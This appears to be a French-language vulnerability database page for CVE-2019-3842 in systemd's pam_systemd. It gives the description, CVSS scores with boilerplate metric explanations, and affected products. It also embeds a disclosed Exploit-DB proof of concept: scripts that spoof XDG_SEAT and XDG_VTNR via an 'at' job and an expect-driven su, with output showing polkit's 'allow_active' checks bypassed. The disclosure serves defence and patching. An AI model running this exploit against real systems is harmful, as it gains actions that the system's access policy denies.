CVE-2019-3842 : Détail

CVE-2019-3842

7
/
Haute
Authorization problems
A01-Broken Access Control
0.25%V3
Local
2019-04-09
18h25 +00:00
2021-06-29
12h08 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

In systemd before v242-rc4, it was discovered that pam_systemd does not properly sanitize the environment before using the XDG_SEAT variable. It is possible for an attacker, in some particular configurations, to set a XDG_SEAT environment variable which allows for commands to be checked against polkit policies using the "allow_active" element rather than "allow_any".

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-285 Improper Authorization
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
CWE-863 Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V3.0 4.5 MEDIUM CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

Low

There is reduced performance or interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics
V2 4.4 AV:L/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 46743

Date de publication : 2019-04-22 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

As documented at <https://www.freedesktop.org/software/polkit/docs/latest/polkit.8.html>, for any action, a polkit policy can specify separate levels of required authentication based on whether a client is: - in an active session on a local console - in an inactive session on a local console - or neither This is expressed in the policy using the elements "allow_any", "allow_inactive" and "allow_active". Very roughly speaking, the idea here is to give special privileges to processes owned by users that are sitting physically in front of the machine (or at least, a keyboard and a screen that are connected to a machine), and restrict processes that e.g. belong to users that are ssh'ing into a machine. For example, the ability to refresh the system's package index is restricted this way using a policy in /usr/share/polkit-1/actions/org.freedesktop.packagekit.policy: <action id="org.freedesktop.packagekit.system-sources-refresh"> [...] <description>Refresh system repositories</description> [...] <message>Authentication is required to refresh the system repositories</message> [...] <defaults> <allow_any>auth_admin</allow_any> <allow_inactive>auth_admin</allow_inactive> <allow_active>yes</allow_active> </defaults> </action> On systems that use systemd-logind, polkit determines whether a session is associated with a local console by checking whether systemd-logind is tracking the session as being associated with a "seat". This happens through polkit_backend_session_monitor_is_session_local() in polkitbackendsessionmonitor-systemd.c, which calls sd_session_get_seat(). The check whether a session is active works similarly. systemd-logind is informed about the creation of new sessions by the PAM module pam_systemd through a systemd message bus call from pam_sm_open_session() to method_create_session(). The RPC method trusts the information supplied to it, apart from some consistency checks; that is not directly a problem, since this RPC method can only be invoked by root. This means that the PAM module needs to ensure that it doesn't pass incorrect data to systemd-logind. Looking at the code in the PAM module, however, you can see that the seat name of the session and the virtual terminal number come from environment variables: seat = getenv_harder(handle, "XDG_SEAT", NULL); cvtnr = getenv_harder(handle, "XDG_VTNR", NULL); type = getenv_harder(handle, "XDG_SESSION_TYPE", type_pam); class = getenv_harder(handle, "XDG_SESSION_CLASS", class_pam); desktop = getenv_harder(handle, "XDG_SESSION_DESKTOP", desktop_pam); This is actually documented at <https://www.freedesktop.org/software/systemd/man/pam_systemd.html#Environment>. After some fixup logic that is irrelevant here, this data is then passed to the RPC method. One quirk of this issue is that a new session is only created if the calling process is not already part of a session (based on the cgroups it is in, parsed from procfs). This means that an attacker can't simply ssh into a machine, set some environment variables, and then invoke a setuid binary that uses PAM (such as "su") because ssh already triggers creation of a session via PAM. But as it turns out, the systemd PAM module is only invoked for interactive sessions: # cat /usr/share/pam-configs/systemd Name: Register user sessions in the systemd control group hierarchy Default: yes Priority: 0 Session-Interactive-Only: yes Session-Type: Additional Session: optional pam_systemd.so So, under the following assumptions: - we can run commands on the remote machine, e.g. via SSH - our account can be used with "su" (it has a password and isn't disabled) - the machine has no X server running and is currently displaying tty1, with a login prompt we can have our actions checked against the "allow_active" policies instead of the "allow_any" policies as follows: - SSH into the machine - use "at" to schedule a job in one minute that does the following: * wipe the environment * set XDG_SEAT=seat0 and XDG_VTNR=1 * use "expect" to run "su -c {...} {our_username}" and enter our user's password * in the shell invoked by "su", perform the action we want to run under the "allow_active" policy I tested this in a Debian 10 VM, as follows ("{{{...}}}" have been replaced), after ensuring that no sessions are active and the VM's screen is showing the login prompt on tty1; all following commands are executed over SSH: ===================================================================== normal_user@deb10:~$ cat session_outer.sh #!/bin/sh echo "===== OUTER TESTING PKCON" >/tmp/atjob.log pkcon refresh -p </dev/null >>/tmp/atjob.log env -i /home/normal_user/session_middle.sh normal_user@deb10:~$ cat session_middle.sh #!/bin/sh export XDG_SEAT=seat0 export XDG_VTNR=1 echo "===== ENV DUMP =====" > /tmp/atjob.log env >> /tmp/atjob.log echo "===== SESSION_OUTER =====" >> /tmp/atjob.log cat /proc/self/cgroup >> /tmp/atjob.log echo "===== OUTER LOGIN STATE =====" >> /tmp/atjob.log loginctl --no-ask-password >> /tmp/atjob.log echo "===== MIDDLE TESTING PKCON" >>/tmp/atjob.log pkcon refresh -p </dev/null >>/tmp/atjob.log /home/normal_user/runsu.expect echo "=========================" >> /tmp/atjob.log normal_user@deb10:~$ cat runsu.expect #!/usr/bin/expect spawn /bin/su -c "/home/normal_user/session_inner.sh" normal_user expect "Password: " send "{{{PASSWORD}}}\n" expect eof normal_user@deb10:~$ cat session_inner.sh #!/bin/sh echo "===== INNER LOGIN STATE =====" >> /tmp/atjob.log loginctl --no-ask-password >> /tmp/atjob.log echo "===== SESSION_INNER =====" >> /tmp/atjob.log cat /proc/self/cgroup >> /tmp/atjob.log echo "===== INNER TESTING PKCON" >>/tmp/atjob.log pkcon refresh -p </dev/null >>/tmp/atjob.log normal_user@deb10:~$ loginctl SESSION UID USER SEAT TTY 7 1001 normal_user pts/0 1 sessions listed. normal_user@deb10:~$ pkcon refresh -p </dev/null Transaction: Refreshing cache Status: Waiting in queue Status: Waiting for authentication Status: Finished Results: Fatal error: Failed to obtain authentication. normal_user@deb10:~$ at -f /home/normal_user/session_outer.sh {{{TIME}}} warning: commands will be executed using /bin/sh job 25 at {{{TIME}}} {{{ wait here until specified time has been reached, plus time for the job to finish running}}} normal_user@deb10:~$ cat /tmp/atjob.log ===== ENV DUMP ===== XDG_SEAT=seat0 XDG_VTNR=1 PWD=/home/normal_user ===== SESSION_OUTER ===== 10:memory:/system.slice/atd.service 9:freezer:/ 8:pids:/system.slice/atd.service 7:perf_event:/ 6:devices:/system.slice/atd.service 5:net_cls,net_prio:/ 4:cpuset:/ 3:blkio:/ 2:cpu,cpuacct:/ 1:name=systemd:/system.slice/atd.service 0::/system.slice/atd.service ===== OUTER LOGIN STATE ===== SESSION UID USER SEAT TTY 7 1001 normal_user pts/0 1 sessions listed. ===== MIDDLE TESTING PKCON Transaction: Refreshing cache Status: Waiting in queue Status: Waiting for authentication Status: Finished Results: Fatal error: Failed to obtain authentication. ===== INNER LOGIN STATE ===== SESSION UID USER SEAT TTY 18 1001 normal_user seat0 pts/1 7 1001 normal_user pts/0 2 sessions listed. ===== SESSION_INNER ===== 10:memory:/user.slice/user-1001.slice/session-18.scope 9:freezer:/ 8:pids:/user.slice/user-1001.slice/session-18.scope 7:perf_event:/ 6:devices:/user.slice 5:net_cls,net_prio:/ 4:cpuset:/ 3:blkio:/ 2:cpu,cpuacct:/ 1:name=systemd:/user.slice/user-1001.slice/session-18.scope 0::/user.slice/user-1001.slice/session-18.scope ===== INNER TESTING PKCON Transaction: Refreshing cache Status: Waiting in queue Status: Waiting for authentication Status: Waiting in queue Status: Starting Status: Loading cache Percentage: 0 Percentage: 50 Percentage: 100 Percentage: 0 Percentage: 50 Percentage: 100 Status: Refreshing software list Status: Downloading packages Percentage: 0 Status: Running Status: Loading cache Percentage: 100 Status: Finished Results: Enabled http://ftp.ch.debian.org/debian buster InRelease Enabled http://security.debian.org/debian-security buster/updates InRelease Enabled http://debug.mirrors.debian.org/debian-debug buster-debug InRelease ========================= You have new mail in /var/mail/normal_user normal_user@deb10:~$ =====================================================================

Products Mentioned

Configuraton 0

Systemd_project>>Systemd >> Version To (including) 241

Systemd_project>>Systemd >> Version 242

Systemd_project>>Systemd >> Version 242

Systemd_project>>Systemd >> Version 242

Configuraton 0

Redhat>>Enterprise_linux >> Version 7.0

Configuraton 0

Fedoraproject>>Fedora >> Version 30

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Références

https://www.exploit-db.com/exploits/46743/
Tags : exploit, x_refsource_EXPLOIT-DB